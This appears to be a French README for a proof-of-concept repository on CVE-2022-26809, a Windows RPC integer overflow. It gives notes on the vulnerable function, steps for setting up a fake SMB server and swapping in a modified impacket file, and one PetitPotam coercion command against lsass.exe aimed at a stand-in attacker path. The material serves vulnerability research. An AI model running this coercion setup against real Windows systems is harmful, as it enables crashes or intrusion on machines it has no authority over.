
Preuve de concept d'exploitation pour CVE-2022-26809, une vulnérabilité de dépassement d'entier dans le runtime RPC de Windows. Inclut des scripts de déclenchement utilisant la coercition de chemin UNC de style PetitPotam contre lsass.exe et un faux serveur SMB pour les tests d'exploitation.
Ce dépôt est simplement une recherche sur la CVE, pour une analyse plus détaillée, veuillez vous référer ici.
MISE À JOUR : 19/05/2022
Cette analyse n'est pas encore terminée....
MISE À JOUR : 22/05/2022
Publication de HuanGMz et blog corelight montrent le vrai point vulnérable :
OSF_CASSOCIATION::ProcessBindAckOrNak
Cette vulnérabilité est déclenchée de la même manière que CVE-2021-43893, lors de l'envoi de la requête ESFRPC à lsass.exe avec un chemin UNC, la victime tentera d'accéder à la cible en tant que client, ce qui déclenchera un dépassement d'entier au niveau de l'API cliente.
Si vous avez une meilleure solution pour déclencher cette vulnérabilité, n'hésitez pas à soumettre une issue ou une PR :)
Puisque la vulnérabilité se déclenche comme CVE-2021-43893, il suffit de cloner le code de .
Préparez simplement un environnement comme ici :
fake_smb_server.py sur le serveur attaquant après avoir remplacé le rpcrt.py par celui d'origine (**Comme le port 445 est occupé par System sur Windows, il est recommandé de déployer le service sur Linux **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(Cependant, je n'ai pas réussi à déclencher le BSoD, mais d'après windbg, le dépassement d'entier a été déclenché)Ancienne description
Voici le code de reproduction pour la vulnérabilité RPC Windows CVE-2022-26809, et il fait référence à https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Ma version de Python est 3.6.7
Je ne suis pas sûr que GetCoalescedBuffer soit impliqué dans la vraie CVE-2022-26809, je le garde juste
le poc.py essaie juste de déclencher la fonction vulnérable OSF_SCALL::GetCoalescedBuffer, cela ne provoquera aucun crash car le dépassement d'entier dword est trop difficile à reproduire. Et le rpcrt.py est le paquet Python impacket.dcerpc.v5.rpcrt, remplacez-le simplement par l'original pour déclencher la vulnérabilité (N'oubliez pas de sauvegarder l'original :) Je crois que le rpcrt.py contient énormément de bugs).
Si cela ne fonctionne pas, wireshark peut peut-être aider à localiser le bug.
Si nécessaire, utilisez simplement nmake pour le reconstruire